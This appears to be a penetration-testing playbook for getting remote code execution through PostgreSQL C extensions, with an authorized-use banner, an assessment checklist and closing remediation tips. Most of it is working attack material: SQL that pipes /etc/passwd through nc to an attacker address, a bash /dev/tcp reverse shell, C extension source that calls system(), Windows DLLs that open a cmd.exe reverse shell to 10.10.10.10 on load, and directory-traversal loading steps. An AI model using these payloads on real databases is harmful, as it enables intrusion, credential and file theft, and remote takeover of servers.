PostgreSQL Extension RCE Assessment
⚠️ AUTHORIZED USE ONLY - This skill is for authorized security assessments, penetration testing, and educational purposes. Only use against systems you own or have explicit written permission to test.
Overview
PostgreSQL's extensibility feature allows loading C libraries as database functions. This can be exploited for Remote Code Execution (RCE) when:
- The database user has sufficient privileges to create functions
- Shared library loading is not properly restricted
- Directory traversal is possible in the CREATE FUNCTION path
Attack Vectors by Version
PostgreSQL 8.1 and Earlier (Legacy)
Direct system() function creation using libc:
-- Execute system commands
CREATE OR REPLACE FUNCTION system(cstring)
RETURNS integer
AS '/lib/x86_64-linux-gnu/libc.so.6', 'system'
LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker_ip> <attacker_port>');
-- File operations
CREATE OR REPLACE FUNCTION open(cstring, int, int)
RETURNS int
AS '/lib/libc.so.6', 'open'
LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int)
RETURNS int
AS '/lib/libc.so.6', 'write'
LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int)
RETURNS int
AS '/lib/libc.so.6', 'close'
LANGUAGE 'C' STRICT;
PostgreSQL 8.2+ (Magic Block Required)
PostgreSQL 8.2+ requires the PG_MODULE_MAGIC macro in extension libraries:
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
Compilation:
# Install matching PostgreSQL version
apt install postgresql postgresql-server-dev-9.6
# Compile the extension
gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
Usage after upload:
CREATE FUNCTION sys(cstring)
RETURNS int
AS '/tmp/pg_exec.so', 'pg_exec'
LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
Windows DLL Execution
Basic DLL (executes function):
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
Datum pgsql_exec(PG_FUNCTION_ARGS) {
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
Usage:
CREATE OR REPLACE FUNCTION remote_exec(text, integer)
RETURNS void
AS '\\\\10.10.10.10\\shared\\pgsql_exec.dll', 'pgsql_exec'
LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
Reverse Shell DLL (DllMain execution):
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr), inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput = startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0, NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(dummy_function);
Datum dummy_function(PG_FUNCTION_ARGS) {
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
Note: Just loading the DLL triggers the reverse shell - no function call needed:
CREATE OR REPLACE FUNCTION dummy_function(int)
RETURNS int
AS '\\\\10.10.10.10\\shared\\dummy_function.dll', 'dummy_function'
LANGUAGE C STRICT;
Latest PostgreSQL Versions (Directory Traversal)
Modern PostgreSQL restricts library loading to specific directories, but CREATE FUNCTION allows directory traversal:
Attack Flow:
- Upload malicious library using large objects
- Export to data directory
- Load via directory traversal
-- Upload via large objects (see scripts/pg_large_object_upload.py)
-- Then load with directory traversal:
CREATE FUNCTION connect_back(text, integer)
RETURNS void
AS '../data/poc', 'connect_back'
LANGUAGE C STRICT;
SELECT connect_back('192.168.100.54', 1234);
Note: Don't append .dll extension - CREATE FUNCTION adds it automatically.
Assessment Checklist
Prerequisites
- PostgreSQL version identified (
SELECT version();) - User privileges verified (superuser or function creation rights)
- File upload capability confirmed
- Network access to attacker infrastructure
Version-Specific Checks
- 8.1-: Test direct libc function creation
- 8.2+: Verify magic block requirement, compile custom extension
- Latest: Test directory traversal in CREATE FUNCTION
- Windows: Test DLL loading from network shares
Privilege Escalation Paths
- Can create functions without superuser?
- Can write to PostgreSQL data directory?
- Can load from restricted directories?
- Large object permissions (
pg_largeobject)
Remediation Recommendations
- Restrict CREATE FUNCTION privileges - Only grant to trusted superusers
- Disable shared library loading - Set
shared_preload_librariescarefully - Use PostgreSQL 11+ - Has improved restrictions on library loading
- Monitor function creation - Alert on CREATE FUNCTION statements
- Restrict file system access - Limit postgres user write permissions
- Network segmentation - Prevent database server from reaching internal systems